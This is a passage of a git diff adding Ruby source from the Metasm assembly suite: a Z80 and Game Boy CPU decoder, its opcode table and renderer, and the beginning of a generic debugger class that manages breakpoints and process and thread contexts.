Reg.from_str('HL') + when :r_de; Reg.from_str('DE') + when :r_sp; Reg.from_str('SP') + when :r_i; Reg.from_str('I') + + when :m16; Memref.new(nil, edata.decode_imm(:u16, @endianness), nil) + when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1) + when :m_de; Memref.new(Reg.from_str('DE'), nil, 1) + when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2) + when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1) + when :mf8; Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1) + when :mfc; Memref.new(Reg.from_str('C'), 0xff00, 1) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + case pfx + when 0xDD + when 0xFD + when 0xCBDD + when 0xCBFD + end + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } } + when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } } + when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc' + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cp', 'cmp'; lambda { |di, *a| {} } + when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } + when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'push' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[a0] } } + when 'pop' + lambda { |di, a0| { :sp => Expression[:sp, :+, 2], + a0 => Indirection[:sp, 2, di.address] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when 'bswap' + lambda { |di, a0| { a0 => Expression[ + [[a0, :&, 0xff00], :>>, 8], :|, + [[a0, :&, 0x00ff], :<<, 8]] } } + when 'nop', /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.opcode.basename + when 'ret', 'reti' + return [Indirection[:sp, 2, di.address]] + when /^jr|^djnz/ + # jmp/call are absolute addrs, only jr/djnz are relative + # also, the asm source should display the relative offset + return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]] + end + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb new file mode 100644 index 0000000000..516c919e8b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/main.rb @@ -0,0 +1,67 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class Z80 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', + 4 => 'H', 5 => 'L', 7 => 'A' }, + 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', + 4 => 'AF' } } # AF is 3 too + @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| + h.update rh.inject({}) { |hh, (i, n)| + hh.update n => [sz, i] } } + + attr_accessor :sz, :i + def initialize(sz, i) + @sz = sz + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(*x) + end + end + + class Memref + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb new file mode 100644 index 0000000000..055de44249 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/opcodes.rb @@ -0,0 +1,224 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/z80/main' + +module Metasm + +class Z80 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[nz z nc c po pe p m].each_with_index { |cc, i| + dbin = bin.dup + dbin[0] |= i << 3 + addop name + cc, dbin, *args + } + end + + # data from http://www.z80.info/decoding.htm + def init_z80_common + @opcode_list = [] + @valid_args.update [:i8, :u8, :i16, :u16, :m16, + :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i, + :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7 + @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3 + + # some opcodes are in init_z80 when they are not part of the GB ABI + addop 'nop', [0b00_000_000] + addop 'jr', [0b00_011_000], :setip, :stopexec, :i8 + %w[nz z nc c].each_with_index { |cc, i| + addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8 + } + addop 'ld', [0b00_000_001], :rp, :i16 + addop 'add', [0b00_001_001], :r_hl, :rp + + addop 'ld', [0b00_000_010], :m_bc, :r_a + addop 'ld', [0b00_001_010], :r_a, :m_bc + addop 'ld', [0b00_010_010], :m_de, :r_a + addop 'ld', [0b00_011_010], :r_a, :m_de + + addop 'inc', [0b00_000_011], :rp + addop 'dec', [0b00_001_011], :rp + addop 'inc', [0b00_000_100], :ry + addop 'dec', [0b00_000_101], :ry + addop 'ld', [0b00_000_110], :ry, :i8 + + addop 'rlca', [0b00_000_111] # rotate + addop 'rrca', [0b00_001_111] + addop 'rla', [0b00_010_111] + addop 'rra', [0b00_011_111] + + addop 'daa', [0b00_100_111] + addop 'cpl', [0b00_101_111] + addop 'scf', [0b00_110_111] + addop 'ccf', [0b00_111_111] + + addop 'halt', [0b01_110_110] # ld (HL), (HL) + addop 'ld', [0b01_000_000], :ry, :rz + + addop 'add', [0b10_000_000], :r_a, :rz + addop 'adc', [0b10_001_000], :r_a, :rz + addop 'sub', [0b10_010_000], :r_a, :rz + addop 'sbc', [0b10_011_000], :r_a, :rz + addop 'and', [0b10_100_000], :r_a, :rz + addop 'xor', [0b10_101_000], :r_a, :rz + addop 'or', [0b10_110_000], :r_a, :rz + addop 'cmp', [0b10_111_000], :r_a, :rz # alias cp + addop 'cp', [0b10_111_000], :r_a, :rz # compare + + addop_macrocc 'ret', [0b11_000_000], :setip + addop 'pop', [0b11_000_001], :rp2 + addop 'ret', [0b11_001_001], :stopexec, :setip + addop 'jmp', [0b11_101_001], :r_hl, :setip, :stopexec # alias jp + addop 'jp', [0b11_101_001], :r_hl, :setip, :stopexec + addop 'ld', [0b11_111_001], :r_sp, :r_hl + addop_macrocc 'j', [0b11_000_010], :setip, :u16 # alias jp + addop_macrocc 'jp', [0b11_000_010], :setip, :u16 + addop 'jmp', [0b11_000_011], :setip, :stopexec, :u16 # alias jp + addop 'jp', [0b11_000_011], :setip, :stopexec, :u16 + + addop 'di', [0b11_110_011] # disable interrupts + addop 'ei', [0b11_111_011] + addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip + addop 'push', [0b11_000_101], :rp2 + addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec + + addop 'add', [0b11_000_110], :r_a, :i8 + addop 'adc', [0b11_001_110], :r_a, :i8 + addop 'sub', [0b11_010_110], :r_a, :i8 + addop 'sbc', [0b11_011_110], :r_a, :i8 + addop 'and', [0b11_100_110], :r_a, :i8 + addop 'xor', [0b11_101_110], :r_a, :i8 + addop 'or', [0b11_110_110], :r_a, :i8 + addop 'cp', [0b11_111_110], :r_a, :i8 + + addop 'rst', [0b11_000_111], :iy8 # call off in page 0 + + addop 'rlc', [0xCB, 0b00_000_000], :rz # rotate + addop 'rrc', [0xCB, 0b00_001_000], :rz + addop 'rl', [0xCB, 0b00_010_000], :rz + addop 'rr', [0xCB, 0b00_011_000], :rz + addop 'sla', [0xCB, 0b00_100_000], :rz # shift + addop 'sra', [0xCB, 0b00_101_000], :rz + addop 'srl', [0xCB, 0b00_111_000], :rz + addop 'bit', [0xCB, 0b01_000_000], :iy, :rz # bit test + addop 'res', [0xCB, 0b10_000_000], :iy, :rz # bit reset + addop 'set', [0xCB, 0b11_000_000], :iy, :rz # bit set + end + + # standard z80 + def init_z80 + init_z80_common + + addop 'ex', [0b00_001_000], :r_af # XXX really ex AF, AF' ... + addop 'djnz', [0b00_010_000], :setip, :i8 + + addop 'ld', [0b00_100_010], :m16, :r_hl + addop 'ld', [0b00_101_010], :r_hl, :m16 + addop 'ld', [0b00_110_010], :m16, :r_a + addop 'ld', [0b00_111_010], :r_a, :m16 + + addop 'exx', [0b11_011_001] + addop 'out', [0b11_010_011], :i8, :r_a + addop 'in', [0b11_011_011], :r_a, :i8 + + addop 'ex', [0b11_100_011], :m_sp, :r_hl + addop 'ex', [0b11_101_011], :r_de, :r_hl + + addop 'sll', [0xCB, 0b00_110_000], :rz + + addop 'in', [0xED, 0b01_110_000], :u16 + addop 'in', [0xED, 0b01_000_000], :ry, :u16 + addop 'out', [0xED, 0b01_110_001], :u16 + addop 'out', [0xED, 0b01_000_001], :u16, :ry + addop 'sbc', [0xED, 0b01_000_010], :r_hl, :rp + addop 'adc', [0xED, 0b01_001_010], :r_hl, :rp + addop 'ld', [0xED, 0b01_000_011], :m16, :rp + addop 'ld', [0xED, 0b01_001_011], :rp, :m16 + addop 'neg', [0xED, 0b01_000_100], :r_a, :iy # dummy int field + addop 'retn', [0xED, 0b01_000_101], :stopexec # dummy int != 1 ? (1 = reti) + addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip + addop 'im', [0xED, 0b01_000_110], :iy + addop 'ld', [0xED, 0b01_000_111], :r_i, :r_a + addop 'ld', [0xED, 0b01_001_111], :r_r, :r_a + addop 'ld', [0xED, 0b01_010_111], :r_a, :r_i + addop 'ld', [0xED, 0b01_011_111], :r_a, :r_r + addop 'rrd', [0xED, 0b01_100_111] + addop 'rld', [0xED, 0b01_101_111] + + addop 'ldi', [0xED, 0b10_100_000] + addop 'ldd', [0xED, 0b10_101_000] + addop 'ldir', [0xED, 0b10_110_000] + addop 'lddr', [0xED, 0b10_111_000] + addop 'cpi', [0xED, 0b10_100_001] + addop 'cpd', [0xED, 0b10_101_001] + addop 'cpir', [0xED, 0b10_110_001] + addop 'cpdr', [0xED, 0b10_111_001] + addop 'ini', [0xED, 0b10_100_010] + addop 'ind', [0xED, 0b10_101_010] + addop 'inir', [0xED, 0b10_110_010] + addop 'indr', [0xED, 0b10_111_010] + addop 'outi', [0xED, 0b10_100_011] + addop 'outd', [0xED, 0b10_101_011] + addop 'otir', [0xED, 0b10_110_011] + addop 'otdr', [0xED, 0b10_111_011] + + addop 'unk_ed', [0xED], :i8 + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + # gameboy processor + # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80 + def init_gb + init_z80_common + + addop 'ld', [0x08], :m16, :r_sp + addop 'stop', [0x10] + + addop 'ldi', [0x22], :m_hl, :r_a # (hl++) <- a + addop 'ldi', [0x2A], :r_a, :m_hl + addop 'ldd', [0x32], :m_hl, :r_a # (hl--) <- a + addop 'ldd', [0x3A], :r_a, :m_hl + + addop 'reti', [0xD9], :setip, :stopexec + + # override retpo/jpo + @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 } # rm E0 E2 E8 EA F0 F2 F8 FA + addop 'ld', [0xE0], :mf8, :r_a # (0xff00 + :i8) + addop 'ld', [0xE2], :mfc, :r_a # (0xff00 + :r_c) + addop 'add', [0xE8], :r_sp, :i8 + addop 'ld', [0xEA], :m16, :r_a + addop 'ld', [0xF0], :r_a, :mf8 + addop 'ld', [0xF2], :r_a, :mfc + addop 'ld', [0xF8], :r_hl, :r_sp, :i8 # hl <- sp+:i8 + addop 'ld', [0xFA], :r_a, :m16 + + addop 'swap', [0xCB, 0x30], :rz + + addop 'inv_dd', [0xDD], :stopexec # invalid prefixes + addop 'inv_ed', [0xED], :stopexec + addop 'inv_fd', [0xFD], :stopexec + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + alias init_latest init_z80 +end +end diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb new file mode 100644 index 0000000000..51a7b2e81b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/render.rb @@ -0,0 +1,59 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/render' + +module Metasm +class Z80 + class Reg + include Renderable + def render ; [self.class.i_to_s[@sz][@i]] end + end + class Memref + include Renderable + def render + r = ['('] + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ')' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end + + def gui_hilight_word_regexp_init + ret = {} + + # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } + + %w[BC DE HL].each { |w| + l0, l1 = w.split(//) + ret[l0] = "#{l0}#{l1}?" + ret[l1] = "#{l0}?#{l1}" + ret[w] = "#{l0}|#{l0}?#{l1}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end + +end +end diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb new file mode 100644 index 0000000000..26e88df103 --- /dev/null +++ b/lib/metasm/metasm/debug.rb @@ -0,0 +1,1445 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module Metasm +# this class implements a high-level debugging API (abstract superclass) +class Debugger + class Breakpoint + attr_accessor :address, + # context where the bp was defined + :pid, :tid, + # bool: oneshot ? + :oneshot, + # current bp state: :active, :inactive (internal use), :disabled (user-specified) + :state, + # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory) + :type, + # Expression if this is a conditionnal bp + # may be a Proc, String or Expression, evaluated every time the breakpoint hits + # if it returns 0 or false, the breakpoint is ignored + :condition, + # Proc to run if this bp has a callback + :action, + # Proc to run to emulate the overwritten instr behavior + # used to avoid unset/singlestep/re-set, more multithread friendly + # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx) + :emul_instr, + # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) + :internal, + # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) + # shared is an array of Breakpoints, the same Array object in all shared breakpoints + # owner is a hash key => shared (dbg.breakpoint) + # key is an identifier for the Bp class in owner (bp.address) + :hash_shared, :hash_owner, :hash_key, + # user-defined breakpoint-specific stuff + :userdata + + # append the breakpoint to hash_owner + hash_shared + def add(owner=@hash_owner) + @hash_owner = owner + @hash_key ||= @address + return add_bpm if @type == :bpm + if pv = owner[@hash_key] + @hash_shared = pv.hash_shared + @internal ||= pv.internal + @emul_instr ||= pv.emul_instr + else + owner[@hash_key] = self + @hash_shared = [] + end + @hash_shared << self + end + + # register a bpm: add references to all page start covered in @hash_owner + def add_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared = [self] + + @internal ||= {} + @internal[:orig_prot] ||= {} + while a < m + if pv = @hash_owner[a] + if not pv.hash_shared.include?(self) + pv.hash_shared.concat @hash_shared-pv.hash_shared + @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } + end + @internal[:orig_prot][a] = pv.internal[:orig_prot][a] + else + @hash_owner[a] = self + end + a += 0x1000 + end + end + + # delete the breakpoint from hash_shared, and hash_owner if empty + def del + return del_bpm if @type == :bpm + @hash_shared.delete self + if @hash_shared.empty? + @hash_owner.delete @hash_key + elsif @hash_owner[@hash_key] == self + @hash_owner[@hash_key] = @hash_shared.first + end + end + + # unregister a bpm + def del_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared.delete self + while a < m + pv = @hash_owner[a] + if pv == self + if opv = @hash_shared.find { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a + } + @hash_owner[a] = opv + else + @hash_owner.delete a + + # split hash_shared on disjoint ranges + prev_shared = @hash_shared.find_all { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a + } + + prev_shared.each { |bpm| + bpm.hash_shared = prev_shared + @hash_shared.delete bpm + } + end + end + a += 0x1000 + end + end + end + + # per-process data + attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, + :modulemap, :symbols, :symbols_len + # per-thread data + attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, + :run_args, :breakpoint_cause + + # which/where per-process/thread stuff is stored + attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list + + # global debugger callbacks, called whenever such event occurs + attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, + :callback_exception, :callback_newthread, :callback_endthread, + :callback_newprocess, :callback_endprocess, :callback_loadlibrary + + # global switches, specify wether to break on exception/thread event + # can be a Proc that is evaluated (arg = info parameter of the evt_func) + # trace_children is a bool to tell if we should debug subprocesses spawned + # by the target + attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, + :trace_children + + # link to the user-interface object if available + attr_accessor :gui + + # initializes the disassembler internal data - subclasses should call super() + def initialize + @pid_stuff = {} + @tid_stuff = {} + @log_proc = nil + @state = :dead + @info = '' + # stuff saved when we switch pids + @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, + :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, + :dead_process] + @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, + :run_method, :run_args, :breakpoint_cause, :dead_thread] + @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } + @callback_newprocess = lambda { |h| log "process #{@pid} attached" } + @callback_endprocess = lambda { |h| log "process #{@pid} died" } + initialize_newpid + initialize_newtid + end + + def dasm; disassembler; end + + def shortname; self.class.name.split('::').last.downcase; end + + attr_reader :pid + # change pid and associated cached data + # this will also re-load the previously selected tid for this process + def pid=(npid) + return if npid == pid + raise "invalid pid" if not check_pid(npid) + swapout_pid + @pid = npid + swapin_pid + end + alias set_pid pid= + + attr_reader :tid + def tid=(ntid) + return if ntid == tid + raise "invalid tid" if not check_tid(ntid) + swapout_tid + @tid = ntid + swapin_tid + end + alias set_tid tid= + + # creates stuff related to a new process being debugged + # includes disassembler, modulemap, symbols, breakpoints + # subclasses should check that @pid maps to a real process and raise() otherwise + # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu + def initialize_newpid + return if not pid + @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @symbols = {} + @symbols_len = {} + @modulemap = {} + @breakpoint = {} + @breakpoint_memory = {} + @tid_stuff = {} + initialize_cpu + initialize_memory + initialize_disassembler + end + + # subclasses should check that @tid maps to a real thread and raise() otherwise + def initialize_newtid + return if not tid + @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @state = :stopped + @info = 'new' + @breakpoint_thread = {} + gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) + end + + # initialize the disassembler from @cpu/@memory + def initialize_disassembler + return if not @memory or not @cpu + @disassembler = Shellcode.decode(@memory, @cpu).disassembler + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one pid to another, save current pid data + def swapout_pid + return if not pid + swapout_tid + gui.swapout_pid if gui.respond_to?(:swapout_pid) + @pid_stuff[@pid] ||= {} + @pid_stuff_list.each { |fld| + @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one tid to another, save current tid data + def swapout_tid + return if not tid + gui.swapout_tid if gui.respond_to?(:swapout_tid) + @tid_stuff[@tid] ||= {} + @tid_stuff_list.each { |fld| + @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one pid to another, load current pid data + def swapin_pid + return initialize_newpid if not @pid_stuff[@pid] + + @pid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) + } + swapin_tid + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one tid to another, load current tid data + def swapin_tid + return initialize_newtid if not @tid_stuff[@tid] + + @tid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) + } + gui.swapin_tid if gui.respond_to?(:swapin_tid) + end + + # delete references to the current pid + # switch to another pid, set @state = :dead if none available + def del_pid + @pid_stuff.delete @pid + if @pid = @pid_stuff.keys.first + swapin_pid + else + @state = :dead + @info = '' + @tid = nil + end + end + + # delete references to the current thread + def del_tid + @tid_stuff.delete @tid + if @tid = @tid_stuff.keys.first + swapin_tid + else + del_tid_notid + end + end + + # wipe the whole process when no TID is left + # XXX we may have a pending evt_newthread... + def del_tid_notid + del_pid + end + + + # change the debugger to a specific pid/tid + # if given a block, run the block and then restore the original pid/tid + # pid may be an object that respond to #pid/#tid + def switch_context(npid, ntid=nil, &b) + if npid.respond_to?(:pid) + ntid ||= npid.tid + npid = npid.pid + end + oldpid = pid + oldtid = tid + set_pid npid + set_tid ntid if ntid + if b + # shortcut begin..ensure overhead + return b.call if oldpid == pid and oldtid == tid + + begin + b.call + ensure + set_pid oldpid + set_tid oldtid + end + end + end + alias set_context switch_context + + # iterate over all pids, yield in the context of this pid + def each_pid(&b) + # ensure @pid is last, so that we finish in the current context + lst = @pid_stuff.keys - [@pid] + lst << @pid + return lst if not b + lst.each { |p| + set_pid p + b.call + } + end + + # iterate over all tids of the current process, yield in its context + def each_tid(&b) + lst = @tid_stuff.keys - [@tid] + lst << @tid + return lst if not b + lst.each { |t| + set_tid t rescue next + b.call + } + end + + # iterate over all tids of all pids, yield in their context + def each_pid_tid(&b) + each_pid { each_tid { b.call } } + end + + + # create a thread/process breakpoint + # addr can be a numeric address, an Expression that is resolved, or + # a String that is parsed+resolved + # info's keys are set to the breakpoint + # standard keys are :type, :oneshot, :condition, :action + # returns the Breakpoint object + def add_bp(addr, info={}) + info[:pid] ||= @pid + # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write + info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp + + b = Breakpoint.new + info.each { |k, v| + b.send("#{k}=", v) + } + + switch_context(b) { + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + b.address = addr + + b.hash_owner ||= case b.type + when :bpm; @breakpoint_memory + when :hwbp; @breakpoint_thread + when :bpx; @breakpoint + end + # XXX bpm may hash_share with an :active, but be larger and still need enable() + b.add + + enable_bp(b) if not info[:state] + } + + b + end + + # remove a breakpoint + def del_bp(b) + disable_bp(b) + b.del + end + + # activate an inactive breakpoint + def enable_bp(b) + return if b.state == :active + if not b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + if not b.internal + init_bpx(b) if b.type == :bpx + b.internal ||= {} + b.hash_shared.each { |bb| bb.internal ||= b.internal } + end + do_enable_bp(b) + } + end + b.state = :active + end + + # deactivate an active breakpoint + def disable_bp(b, newstate = :inactive) + return if b.state != :active + b.state = newstate + return if b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + do_disable_bp(b) + } + end + + + # delete all breakpoints defined in the current thread + def del_all_breakpoints_thread + @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # delete all breakpoints for the current process and all its threads + def del_all_breakpoints + each_tid { del_all_breakpoints_thread } + @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp + def do_enable_bp(b) + if b.type == :bpm; do_enable_bpm(b) + else @cpu.dbg_enable_bp(self, b) + end + end + + # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp + def do_disable_bp(b) + if b.type == :bpm; do_disable_bpm(b) + else @cpu.dbg_disable_bp(self, b) + end + end + + # called in the context of the target when a bpx is to be initialized + # may (lazily) initialize b.emul_instr for virtual singlestep + def init_bpx(b) + # dont bother setting stuff up if it is never to be used + return if b.oneshot and not b.condition + + # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed + # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx + di = init_bpx_disassemble(b.address) + b.hash_shared.each { |bb| bb.emul_instr = di } + end + + # retrieve the di at a given address, disassemble if needed + # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep() + # (right now, when they see the block already present they stop all processing) + def init_bpx_disassemble(addr) + @disassembler.disassemble_fast_block(addr) + @disassembler.di_at(addr) + end + + # checks if bp has an emul_instr + # do the lazy initialization if needed + def has_emul_instr(bp) + if bp.emul_instr.kind_of?(DecodedInstruction) + if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and + fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and + k != :incomplete_binding and v != Expression::Unknown } + # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction + bp.emul_instr = lambda { + fdbd.map { |k, v| + k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection) + [k, emulinstr_resv(v)] + }.each { |k, v| + if k.to_s 